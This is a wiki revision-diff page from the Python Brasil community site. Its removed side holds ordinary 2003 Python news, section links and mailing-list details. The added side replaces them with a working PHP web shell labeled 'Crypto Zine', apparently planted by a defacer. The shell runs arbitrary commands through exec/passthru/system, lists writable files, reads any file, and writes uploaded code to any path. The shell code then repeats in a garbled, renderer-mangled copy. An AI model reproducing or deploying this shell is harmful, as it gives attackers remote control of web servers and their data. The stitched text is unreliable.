associação pythonbrasil[11] django zope/plone planet Início Logado como (Entrar)
Impressione-se »
Python pode ser usada em diversos tipos de desenvolvimento.
Inicie-se »
Python pode ser usada livremente por qualquer desenvolvedor.
Aprenda mais »
Python tem uma sintaxe muito simples e também é fácil de aprender.
Envolva-se »
Participe da comunidade brasileira de desenvolvedores Python.

Diferenças para "PythonBrasil"

Diferenças entre as versões de 82 e 155 (73 versões de distância)
Revisão 82e 2003-12-15 00:09:57
Tamanho: 5367
Comentário:
Revisão 155e 2004-05-09 23:21:19
Tamanho: 4935
Editor: 200216130105
Comentário:
Deleções são marcadas assim. Adições são marcadas assim.
Linha 1: Linha 1:
#pragma section-numbers off
= Python Brasil =

Este site, foi idealizado para abrigar todo o material sobre [http://python.org Python] editado em nosso idioma. Ele utiliza o software MoinMoin que é um Wiki inteiramente escrito em Python. Esse sistema foi escolhido por sua facilidade de uso e por ser uma ferramenta bastante democrática, permitindo que se desenvolva material rapidamente.

= Destaque da Semana =

["PythonComADO"] - por WashingtonCoutinhoCorrêaJr - Excelente tutorial que fala sobre Python acessando banco de dados via ADO do Windows.

= Notícias =

   * '''[[DateTime(2003-12-13T12:00:00)]] - Lunatic Python foi lançado!''': Realmente o GustavoNiemeyer está com tudo. Não bastasse ele ser um dos brasileiros que contribuem com a distribuição oficial de Python ainda sobra tempo pra ele desenvolver alguns projetos paralelos. Este é para quem gosta de Python e também gosta de Lua (Linguagem de programação criada no Brasil). Para dar uma conferida no resultado: https://moin.conectiva.com.br/LunaticPython.

   * '''[[DateTime(2003-12-12T12:00:00)]] - Back to the Future II "2o Python-lunch no SDSL"''': 6a-feira, dia 12, estaremos lá de novo, e combinamos um local de encontro mais preciso: a portaria do bloco E da FEEC, que fica bem próxima do local dos mini-cursos e na frente da banquinha da livraria Tempo Real. Entre 12:00 e 12:30 estaremos esperando formar um grupo para escolher onde almoçar.

   * '''[[DateTime(2003-12-05T12:00:00)]] - Python versão 2.3.3 release candidate 1 liberada''' - A versão é uma correção de vários bugs na versão 2.3.2, incluindo alguns problemas sérios com weakrefs e garbage colector, além de várias correções em módulos da biblioteca padrão. http://www.python.org/2.3.3/

   * '''[[DateTime(2003-12-10T12:00:00)]] - Back to the Future: Almoço durante SDSL''' - Toda comunidade Pythonica está convidada a participar de um (ou vários) almoço de confraternização durante o [http://rau-tu.ccuec.unicamp.br/sdsl/ SDSL] em Campinas no período de 9 a 12/12/2003. Podemos (e devemos) usar este espaço para conciliar a agenda dos diversos participantes. Ponto de encontro sugerido: Entrada principal da FEEC - Faculdade de Eng.Elétrica e de Computação, onde estará sendo realizado o evento. Horário de encontro: 12:00 (tolerância de 15 min -- já prevendo à fome). Quasiquer outras sugestões...isto é um Wiki!

   * '''[[DateTime(2003-12-03T20:00:00)]] - Quem quer dinheiro?''' - A [http://www.markshuttleworth.com/bounty.html Fundação Shuttleworth] está a procura de interessados em projetos Python para financiar. O valor destinado a esses financiamentos chegam a $100mil. A página deles tem mais detalhes de como participar da seleção dos projetos.

   * '''[[DateTime(2003-11-30T18:00:00)]] - Versão nova do txt2tags''' - Saiu a versão 1.7 do Txt2Tags, o conversor de textos legitimamente brasileiro que faz parte do projeto GNU.
<center>
<?php
Linha 24: Linha 5:
   * '''[[DateTime(2003-11-30T13:00:00)]] - Domínio!''' - Finalmente! Após dias de briga com minha máquina que queimou, consegui colocá-la para funcionar e poder dar uma 'arrumada' aqui na casa para podermos lançar finalmente o ''pythonbrasil.com.br''. Agora eu peço a ajuda de vocês para divulgarem a nossa página em sites de notícias, amigos, parentes, empresários. Então está dado o recado, a partir de hoje a casa do Python no Brasil fica em: http://www.pythonbrasil.com.br. Assim que me sobrar um tempinho extra eu providencio a organização das contas de e-mail para a galera.

Leia mais em NotíciasAntigas.

= Seções =

Aqui estão algumas das seções desse site. Se você gostaria de sugerir outras é só entrar em contato com o WikiMaster mais próximo.

   * PerguntasFrequentes - Perguntas e Respostas frequentes.
   * DocumentaçãoPython - Documentação, Livros, Manuais, Tutoriais e afins. {UPDATE}
   * ArtigosTutoriais - Artigos e Tutoriais sobre Python. {UPDATE}
   * CookBook - Trechos de códigos úteis.
   * ComoUsarWiki - Como usar esse site. Introdução Rápida.
   * SoftwarePython - Módulos, Editores e Ferramentas para desenvolvimento Python, bem como projetos desenvolvidos por brasileiros.
   * EmpresasPython - Empresas Brasileiras que já usam Python para aumentar seus lucros :)
   * OutrosGruposUsuários - Outros sites de grupos de usuários Python.
   * OportunidadesDeEmprego - Vamos fazer a nossa parte no 'espetáculo do crescimento'. Empregue-se e ofereça empregos. Alguns recadinhos profissionais também estão aqui.
   * LivroDeVisitas - Livro de visitas do Site (entre aqui e deixe sua assinatura).

= Como Participar =

Você pode participar da comunidade PythonBrasil diretamente aqui no site, através da lista de discussão ou via IRC.

=== Lista de Discussão ===

Existem duas listas: a python-br@yahoogroups.com que é a mais povoada e com mais
movimento e a python-brasil@yahoogrupos.com.br, que foi criada depois,
porque a senha de administração da python-br foi perdida, ocasionando alguns SPAMs
eventuais na lista. Na dúvida, se cadastre nas duas. E observe que a python-br fica
no yahoogroups.com (americano) e o python-brasil fica no yahoogrupos.com.br (brasileiro).

=== Canais de IRC ===

O canal oficial do Python no Brasil é o #python-br do irc.freenode.org mas também tem uma galerinha esperta que frequenta o #python da irc.brasnet.org.
  closelog( );

  $dono = get_current_user( );
  $ver = phpversion( );
  $login = posix_getuid( );
  $euid = posix_geteuid( );
  $gid = posix_getgid( );
  if ($chdir == "") $chdir = getcwd( );
    
?>


<?php

  $uname = posix_uname( );
  while (list($info, $value) = each ($uname)) {

?>
  <TR>
    <TD width="457"><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD>
  </TR>


<?php
  }
?>
<center>
  <TR>
   <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||Usuario Corrente|||<br> <?= $dono ?></DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PHP|||<br> <?= $ver ?></DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PriV|||<br> uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid
?>)</DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">||||Path||||<br> <?= $chdir ?></DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||ServerName|||<br><?php $aaa = gethostbyname($SERVER_NAME);
echo $aaa;?></DIV></TD>
  </TR>
   <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #f40707">|||HTTPD|||<br> <?="$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
  </TR>
</TABLE>
<BR>
<?php

  if ($cmd != "") {
    echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>";

?>

<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV>
<?php

if ($fe == 1){
$fe = "exec";
}
if ($fe == ""){
$fe = "passthru";
}
if ($fe == "2"){
$fe = "system";
}

    if (isset($chdir)) @chdir($chdir);

    ob_start( );
      $fe("$cmd 2>&1");
      $output = ob_get_contents();
    ob_end_clean( );

?>
<TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 10px;">
<?php

    if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
?>
</TEXTAREA>
<BR>
<?php

  }
 
  if ($listar != "") {
    echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>";

?>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV>
<?php

    if ($dir = @opendir($chdir)) {
      echo "<TABLE border=1 cellspacing=1 cellpadding=0>";
      echo "<TR>";
      echo "<TD valign=top>";
      echo "<b><font size=2 face=arial>Arquivos</b> <br><br>";
      while (($file = readdir($dir)) !== false) {
        if (@is_file($file)) {
          $file1 = fileowner($file);
          $file2 = fileperms($file);
       echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&oia=$file>$file</a><br>";
   // echo "<font color=green>$file1 - $file2 - $file </font><br>";
          flush( );
        }
      }

      echo "</TD>";
      echo"<TD valign=top>";
      echo "<b><font size=2 face=arial>Pastas</b> <br><br>";
      if ($dir = @opendir($chdir)) {
        while (($file = readdir($dir)) !== false) {
          if (@is_dir($file)) {
            $file1 = fileowner($file);
            $file2 = fileperms($file);
     echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>";
            // echo "<font color=blue>$file1 - $file2 - $file </font><br>";
          }
        }
      }
      echo "</TD>";
      echo"<TD valign=top>";
      echo "<b><font size=2 face=arial>Pastas Alteraveis</b><br><br>";
      if ($dir = @opendir($chdir)) {
        while (($file = readdir($dir)) !== false) {
          if (@is_writable($file) && @is_dir($file)) {

            $file1 = fileowner($file);
            $file2 = fileperms($file);
            echo "<font color=red>$file1 - $file2 - $file </font><br>";
          }
        }
      }
      echo "</TD>";
      echo "</TD>";
      echo "<TD valign=top>";
      echo "<b><font size=2 face=arial>Arquivos Alteraveis</b> <br><br>";
 
      if ($dir = opendir($chdir)) {
        while (($file = readdir($dir)) !== false) {
          if (@is_writable($file) && @is_file($file)) {
            $file1 = fileowner($file);
            $file2 = fileperms($file);
         echo "<font color=red>$file1 - $file2 - $file </font><br>";
          }
        }
      }
      echo "</TD>";
      echo "</TR>";
      echo "</TABLE>";
    }
  }

?>

<html>
<body>
<form action=<?php echo $PHP_SELF; ?> method=post>
<input type=text name=codigo value="Codigo">
<input type=text name=caminho value="Caminho">
<br>
<input type=submit value=Send>
<br>
</body>
</html>

<?php


$codigo="$_POST[codigo]";
$caminho="$_POST[caminho]";
$fp = fopen("$caminho", "w");
    $ok = fwrite($fp, $codigo);




if ($oia != "") {
  $fp = fopen($oia, "r");
  $read = fread($fp, 30000);
  echo "$oia<br>";
  echo "<textarea name=textarea cols=80 rows=15>";
  echo "$read";
  Echo "</textarea>";
}
?>





<center> <?php

  • closelog( ); $dono = get_current_user( ); $ver = phpversion( ); $login = posix_getuid( ); $euid = posix_geteuid( ); $gid = posix_getgid( ); if ($chdir == "") $chdir = getcwd( );

?>

<?php

  • $uname = posix_uname( ); while (list($info, $value) = each ($uname)) {

?>

  • <TR>

    • <TD width="457"><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD>

    </TR>

<?php

  • }

?> <center>

  • <TR>

    • <TR>

      • <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||Usuario Corrente|||<br> <?= $dono ?></DIV></TD>

    </TR> <TR>

    • <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PHP|||<br> <?= $ver ?></DIV></TD>

    </TR> <TR>

    • <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PriV|||<br> uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid

?>)</DIV></TD>

  • </TR> <TR>

    • <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">||||Path||||<br> <?= $chdir ?></DIV></TD>

    </TR> <TR>

    • <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||ServerName|||<br><?php $aaa = gethostbyname($SERVER_NAME);

echo $aaa;?></DIV></TD>

  • </TR>

    • <TR>

      • <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #f40707">|||HTTPD|||<br> <?="$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>

    </TR>

</TABLE> <BR> <?php

  • if ($cmd != "") {
    • echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>";

?>

<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php

if ($fe == 1){ $fe = "exec"; } if ($fe == ""){ $fe = "passthru"; } if ($fe == "2"){ $fe = "system"; }

  • if (isset($chdir)) @chdir($chdir); ob_start( );
    • $fe("$cmd 2>&1"); $output = ob_get_contents();

    ob_end_clean( );

?> <TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 10px;"> <?php

  • if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));

?> </TEXTAREA> <BR> <?php

  • } if ($listar != "") {
    • echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>";

?> <DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php

  • if ($dir = @opendir($chdir)) {
    • echo "<TABLE border=1 cellspacing=1 cellpadding=0>"; echo "<TR>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos</b> <br><br>"; while (($file = readdir($dir)) !== false) {

      • if (@is_file($file)) {
        • $file1 = fileowner($file); $file2 = fileperms($file);

          echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&oia=$file>$file</a><br>"; // echo "<font color=green>$file1 - $file2 - $file </font><br>"; flush( );

        }
      }

      echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas</b> <br><br>"; if ($dir = @opendir($chdir)) {

      • while (($file = readdir($dir)) !== false) {
        • if (@is_dir($file)) {
          • $file1 = fileowner($file); $file2 = fileperms($file);

            echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>"; // echo "<font color=blue>$file1 - $file2 - $file </font><br>";

          }
        }
      }

      echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas Alteraveis</b><br><br>"; if ($dir = @opendir($chdir)) {

      • while (($file = readdir($dir)) !== false) {
        • if (@is_writable($file) && @is_dir($file)) {

          • $file1 = fileowner($file); $file2 = fileperms($file);

            echo "<font color=red>$file1 - $file2 - $file </font><br>";

          }
        }
      }

      echo "</TD>"; echo "</TD>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos Alteraveis</b> <br><br>"; if ($dir = opendir($chdir)) {

      • while (($file = readdir($dir)) !== false) {
        • if (@is_writable($file) && @is_file($file)) {

          • $file1 = fileowner($file); $file2 = fileperms($file);

            echo "<font color=red>$file1 - $file2 - $file </font><br>";

          }
        }
      }

      echo "</TD>"; echo "</TR>"; echo "</TABLE>";

    }
  • }

?>

<html> <body> <form action=<?php echo $PHP_SELF; ?> method=post> <input type=text name=codigo value="Codigo"> <input type=text name=caminho value="Caminho"> <br> <input type=submit value=Send> <br> </body> </html>

<?php

$codigo="$_POST[codigo]"; $caminho="$_POST[caminho]"; $fp = fopen("$caminho", "w");

  • $ok = fwrite($fp, $codigo);

if ($oia != "") {

  • $fp = fopen($oia, "r"); $read = fread($fp, 30000);

    echo "$oia<br>"; echo "<textarea name=textarea cols=80 rows=15>"; echo "$read"; Echo "</textarea>";

} ?>